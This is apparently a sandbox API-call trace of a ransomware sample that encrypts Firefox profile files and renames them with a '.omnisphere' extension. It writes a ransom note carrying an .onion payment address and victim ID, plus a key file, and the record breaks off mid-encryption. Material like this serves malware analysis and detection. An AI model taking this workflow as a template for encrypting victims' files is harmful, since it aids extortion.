CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.253] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.253] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.253] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.253] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.253] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.253] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.253] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.253] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.253] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.253] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.253] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.253] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.253] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.253] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.254] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.254] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.254] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.254] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.254] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.254] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.254] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.254] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.254] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.254] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.254] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.254] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.254] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.254] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.254] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.254] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.254] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.254] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.254] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.254] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.254] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.254] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.254] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.257] CryptDestroyKey (hKey=0x1639568) returned 1 [0159.257] CryptReleaseContext (hProv=0x1668570, dwFlags=0x0) returned 1 [0159.258] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x18000, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0159.258] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0159.258] GetProcessHeap () returned 0x1600000 [0159.258] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2d8) returned 0x1746cf8 [0159.258] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\permissions.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\permissions.sqlite"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\permissions.sqlite.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\permissions.sqlite.omnisphere")) returned 1 [0159.259] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\permissions.sqlite.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\permissions.sqlite.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\permissions.sqlite.omnisphere.id" [0159.259] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\permissions.sqlite.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\permissions.sqlite.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0159.260] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0159.260] CloseHandle (hObject=0x388) returned 1 [0159.261] UnmapViewOfFile (lpBaseAddress=0x14a0000) returned 1 [0159.261] CloseHandle (hObject=0x3c0) returned 1 [0159.262] SetEndOfFile (hFile=0x288) returned 1 [0159.262] FlushFileBuffers (hFile=0x288) returned 1 [0159.286] CloseHandle (hObject=0x288) returned 1 [0159.286] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\permissions.sqlite" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default") returned 1 [0159.286] GetProcessHeap () returned 0x1600000 [0159.286] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1746fd8 [0159.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0159.287] GetProcessHeap () returned 0x1600000 [0159.287] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1734008 [0159.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1734008, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0159.287] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0159.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0159.287] GetProcessHeap () returned 0x1600000 [0159.287] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726a58 [0159.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726a58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0159.287] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0159.287] GetProcessHeap () returned 0x1600000 [0159.287] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x17309a8 [0159.287] PathCombineW (in: pszDest=0x17309a8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" [0159.287] GetProcessHeap () returned 0x1600000 [0159.287] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x173b9b0 [0159.287] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0159.287] WriteFile (in: hFile=0x288, lpBuffer=0x173b9b0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x173b9b0*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0159.288] CloseHandle (hObject=0x288) returned 1 [0159.288] GetProcessHeap () returned 0x1600000 [0159.288] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1746fd8 | out: hHeap=0x1600000) returned 1 [0159.288] GetProcessHeap () returned 0x1600000 [0159.288] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc8) returned 0x162c458 [0159.288] PathCombineW (in: pszDest=0x162c458, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" [0159.288] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0159.288] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0159.288] CloseHandle (hObject=0x288) returned 1 [0159.288] GetProcessHeap () returned 0x1600000 [0159.288] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c458 | out: hHeap=0x1600000) returned 1 [0159.288] GetProcessHeap () returned 0x1600000 [0159.288] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c048 | out: hHeap=0x1600000) returned 1 [0159.289] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdd54ecc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfdd54ecc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x42fefdeb, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x500000, dwReserved0=0x0, dwReserved1=0xcc, cFileName="places.sqlite", cAlternateFileName="PLACES~1.SQL")) returned 1 [0159.289] GetProcessHeap () returned 0x1600000 [0159.289] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xbe) returned 0x16415f0 [0159.289] PathCombineW (in: pszDest=0x16415f0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="places.sqlite" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite" [0159.289] StrStrW (lpFirst=".omnisphere", lpSrch=".sqlite") returned 0x0 [0159.289] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\places.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0159.289] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=5242880) returned 1 [0159.289] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x4ffadc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0159.290] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0159.290] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x500000, lpName=0x0) returned 0x3c0 [0159.291] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x4010000 [0159.291] UnmapViewOfFile (lpBaseAddress=0x4010000) returned 1 [0159.291] CloseHandle (hObject=0x3c0) returned 1 [0159.291] GetTickCount () returned 0x116792f [0159.291] GetTickCount () returned 0x116792f [0159.291] GetTickCount () returned 0x116792f [0159.291] GetTickCount () returned 0x116792f [0159.291] GetTickCount () returned 0x116792f [0159.291] GetTickCount () returned 0x116792f [0159.291] GetTickCount () returned 0x116792f [0159.291] GetTickCount () returned 0x116792f [0159.291] GetTickCount () returned 0x116792f [0159.291] GetTickCount () returned 0x116792f [0159.291] GetTickCount () returned 0x116792f [0159.291] GetTickCount () returned 0x116792f [0159.291] GetTickCount () returned 0x116792f [0159.291] GetTickCount () returned 0x116792f [0159.291] GetTickCount () returned 0x116792f [0159.291] GetTickCount () returned 0x116792f [0159.291] GetTickCount () returned 0x116792f [0159.291] GetTickCount () returned 0x116792f [0159.291] GetTickCount () returned 0x116792f [0159.291] GetTickCount () returned 0x116792f [0159.291] GetTickCount () returned 0x116792f [0159.291] GetTickCount () returned 0x116792f [0159.291] GetTickCount () returned 0x116792f [0159.292] GetTickCount () returned 0x116792f [0159.292] GetTickCount () returned 0x116792f [0159.292] GetTickCount () returned 0x116792f [0159.292] GetTickCount () returned 0x116792f [0159.292] GetTickCount () returned 0x116792f [0159.292] GetTickCount () returned 0x116792f [0159.292] GetTickCount () returned 0x116792f [0159.292] GetTickCount () returned 0x116792f [0159.292] GetTickCount () returned 0x116792f [0159.292] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x16688a0) returned 1 [0159.292] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639b28) returned 1 [0159.292] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0159.293] CryptDestroyKey (hKey=0x1639b28) returned 1 [0159.293] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0159.293] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x500000, lpName=0x0) returned 0x3c0 [0159.293] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x500000) returned 0x4010000 [0159.602] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x16688a0) returned 1 [0159.603] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639b28) returned 1 [0159.603] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0159.603] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0159.603] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.603] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.603] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.603] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.603] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.603] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.603] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.603] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.603] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.603] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.603] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, 